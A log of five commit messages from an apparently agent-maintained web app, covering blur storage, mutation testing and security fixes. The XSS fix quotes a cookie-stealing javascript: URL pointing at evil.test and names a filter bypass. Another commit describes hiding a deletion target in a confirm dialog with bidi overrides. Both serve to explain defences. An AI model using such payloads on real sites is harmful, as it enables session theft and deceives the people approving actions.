ca0641f55b6ad8fb6c97d65048349440db9c488f
5
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
 vh
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c1108a1966 |
feat(blur): a booth can be fogged as a whole, composing with per-item blur
The operator ruled booth-level blur in and chose reading A for the reveal
("A is fine"). design-dev specced the semantics and owns the controls; this is
the storage half.
COMPOSES, NEVER OVERRIDES. An item is blurred iff the booth is blurred OR it is
in .blurred, so turning booth blur off leaves an agent's per-item choice exactly
as the poster left it. An override would need a per-item "unblurred" exception
list, which is state nobody can see.
Resolved in booth_items, so every surface inherits it for free — Desk strip,
tiles, flag tray, filmstrip, stage all already read Item.blurred and none of
them learns the booth flag exists (INV-1). Images and video only; audio has
nothing to hide from a glance.
A MARKER, deliberately not JSON. `.seen` is JSON because it holds rels that must
round-trip exactly; a boolean has nothing to round-trip, and matching `.forever`
means the two whole-booth flags read the same way. We told design-dev it would
be JSON and it should not be — said so rather than quietly shipping the other
thing.
is_booth_blurred mirrors is_kept's lstat shape WITH THE SAFETY INVERTED, and the
inversion is the point: is_kept fails toward keeping because a failed read must
not authorise a delete; this fails toward HIDING, because a failed read must not
reveal something a poster asked to fog. Both are "the failure does not cause the
loss".
Also records the operator's 2026-09-23 ruling that there is NO 1.0 yet, and adds
.blurbooth to CLAUDE.md's dotfile list. 766 green.
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vh
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65e7dc2a4e |
fix(board): a link row could rewrite the dialog that authorises its deletion
Found by design-dev, the same class as the wipe dialog he had just fixed on the Desk, and reported across the fence rather than kept. A board row's description and URL are written by any of seventeen agent handles and were pasted RAW into the `confirm()` the operator reads before approving a delete. A bidi override (U+202E) or a newline in either re-orders or hides what he is consenting to, so the row shown is not the row removed. Escaping does nothing here and that is the trap: autoescape protects the PAGE, but `confirm` renders a plain string, so the markup defence everyone reaches for first is irrelevant to the surface that actually carries the decision. Control and bidi formatting characters now render as U+FFFD — visibly mangled, never silently re-ordered — through the same helper shape design-dev used, so the two dialogs cannot drift apart. Both arguments go through it, and the mutation row defeats exactly that: taking the raw description back for one of the two turns the test red. 763 green. |
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vh
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447a9b67e9 |
fix(links): the board rendered agent-written javascript: hrefs
A live injection vector on the standing board, found by design-dev in passing,
in code his unit does not touch. Seventeen handles append to links.md and the
operator clicks its rows, so
javascript:document.location='http://evil.test/'+document.cookie
was a clickable link executing in the Booth's own origin. //evil.test/x and
data:text/html,... rendered too.
links.py now derives is_safe_href once per row and the template links only when
it is true. A refused row still RENDERS, inert and labelled: the operator should
see that something was posted and that we would not link it.
THE NEAR-MISS IS WORTH THE COMMIT MESSAGE. We probed with javascript:alert(1),
watched it get refused, and almost closed this as already-guarded. It is refused
by the MARKDOWN LINK REGEX — alert(1)'s parens break ](...) — not by any guard.
An accident of syntax that happens to catch the one payload everybody reaches
for first. javascript:x=1 walks through. The docstring tells the next person not
to re-probe it with anything containing brackets.
Two things that look like the guard were in the way of finding there wasn't one:
that regex accident, and booth_target's http(s) check, which answers 'which
booth does this URL name' and therefore refuses every legitimate off-board link.
Reading the codebase for 'is there a scheme check' finds it and stops.
Derived in links.py rather than decided in the template, per the same
one-resolver discipline U1 states for item facts: a template that decides safety
is a second place for the rule to be wrong. urlsplit was already imported, so
the stdlib-only invariant holds; verified under system python3 3.11.2 with no
venv. 742 green, 21/21 falsifiers proved.
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vh
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397ea89795 |
fix(u7): six defects from the heid bug-hunt panel, and five vacuous falsifiers
Cross-frontier panel (Gróa/Hulda/Regin/Kimi) on U7's diff, thread 01M368G2Y0JMTJ2T7M3JMTXV5Z. Four of the six fixes are for defects no test in this repo could have caught, and the panel's guard-strength passes found five of my own falsifiers green under the exact change they forbade. THE 4-OF-4 FINDING — the group anchor could land on the WRONG artifact. The anchor was the raw rel spliced into an href fragment while the tile id was equally raw. A browser matches a fragment against ids RAW FIRST and only then percent-decoded, so raw-on-both-sides is not merely unencoded, it is AMBIGUOUS: with `a b.png` and `a%20b.png` in one booth, the first's href resolves to the fragment `item-a%20b.png` and the raw pass matches the SECOND file's id. That is the misfiled-judgment failure invariant 6 exists to prevent, arriving through a path invariant 6 never looked at. Both sides now use `Item.url` (`quote(rel, safe="/")`), which is injective here and is the convention booth_flag has always used. The original test asserted the href occurred as SOME id on the page — true while pointing at the wrong one. GRÓA'S STRONGEST SOLO — a zero-hit filter removed the way back. The rail was gated on the FILTERED list, so a valid filter with no matches removed the rail, the filter links and the route back to `all`, while the empty-booth branch announced the booth was empty with rail.total still holding the real count. No recovery without editing the address bar, and it degraded the same way with JavaScript off, on the surface the operator actually reviews on. Gated on all_items now, with an explicit no-match row. HULDA — one unrepresentable filename took out the INDEX, not just its booth. A non-UTF-8 filename reaches CPython as a surrogate and quote() raises on it, outside any per-item handler. booth_items feeds list_booths, so one 0xff byte in one booth's filename 500s every booth's card. Such a file cannot be linked, served or zipped, so it is skipped like a dotfile. HULDA — the `f` shortcut has never worked. The selector named `.flagbtn`, which nothing in this repo emits, so it fell through to the hidden target input; clicking a hidden input does not submit its form, and the handler called preventDefault anyway. Now clicks the flag form's real button, verified end to end in a real browser. GRÓA — a group jump was undone by the next keypress. The jump scrolls, the cursor stayed at -1, and the next arrow focused tile 0 and scrolled back. The cursor now picks up from the viewport, which also fixes the general scroll-then-arrow case. Asserted on real scroll geometry in Chromium. HULDA — the caption sidecar was read whole before being truncated, so a pathological file was a MemoryError the OSError handler does not catch. Bounded at the read, and deliberately NOT by st_size: a FIFO reports 0. ACCEPTED KNOWN RISKS, both now documented rather than implied: no cap on rail row count (1,000 groups of two would render 1,000 rows; the largest live booth is 66 items and picking a cap without a booth that needs one is invented work), and Item.group sits mid-dataclass (one construction site, keyword-only, grepped). The docstring now names the UPPER median explicitly — two arms flagged that "the middle group" admits both readings for an even count. FIVE VACUOUS FALSIFIERS, found by the arms and not by me: the anchor test survived v[0]->v[-1]; the informativeness guard survived sizes[-1]; the group count survived len(v)+1; the zero-hit filter test used a fixture that HAD hits; and the escaping test asserted over the whole page, so it went red on a code comment. All rewritten, all mutation-proved. The table is up to 20 rows and one drifted when I changed the line under it — reported by the harness, not silently skipped, which is the behaviour tests/test_mutation_check.py exists to hold. 660 green; 20/20 proved. Deployed; 21/21 booths 200. Held for design-dev, not fixed here: Gróa's finding that the sticky rail has no scroll-margin, so a fragment jump tucks the target under it. It is one line in base.html, the file he is rewriting from scratch. |
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vh
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2f6a0ee821 |
test: keep the mutation harness — scripts/mutation_check.py, with its own controls
Promotes the session-scratchpad harness that proved U7's twelve falsifiers into a repo tool, on the operator's call. No version bump: test tooling and docs, no production-code change, per the SemVer SKIP list. A green test is not evidence. A test that has never seen its own defeating change may pass under it too, forbidding nothing while reading as though it forbids something. This repo shipped that three times — twice in one session, and once an hour after writing the persistent-memory entry about it. Prose in a memory file is not an instrument. Tables live in tests/mutations/*.toml, one per unit, committed so a unit's proofs are an artifact rather than terminal scrollback. Adding a unit means adding a file, never editing the script. u7_navigation.toml was generated from the harness that proved those twelve, not retyped, and every anchor was verified against the source before it landed. THE TOOL GETS ITS OWN POSITIVE AND NEGATIVE CONTROLS, which is the point. It shipped two defects in one session, each of which made it report a falsifier PROVED WITHOUT RUNNING IT, and both were found by accident rather than by anything checking: no green baseline — a test that is ALREADY red reports red for every mutation thrown at it, so a broken assertion reads as a certified falsifier the bytecode cache — `< 2` -> `< 1` is byte-identical in size, and CPython validates a .pyc against the source's (mtime, size) at one-second granularity, so a mutation landing in the same second as the revert before it runs against cached bytecode; the tell was a verdict flipping between consecutive identical runs tests/test_mutation_check.py now carries a control for each, plus the one usually skipped: a KNOWN-VACUOUS falsifier the tool must catch. An instrument that only ever sees unknowns cannot tell "nothing wrong here" from "I am blind", and twelve `proved` lines from a blind instrument are worth nothing. Also hardens the tool against itself: it writes to tracked source files, so the restore is verified rather than assumed, and a .mutation-inflight marker makes a run killed mid-mutation refuse the next start instead of silently measuring a mutated tree. 648 tests green; 12/12 U7 falsifiers still proved. |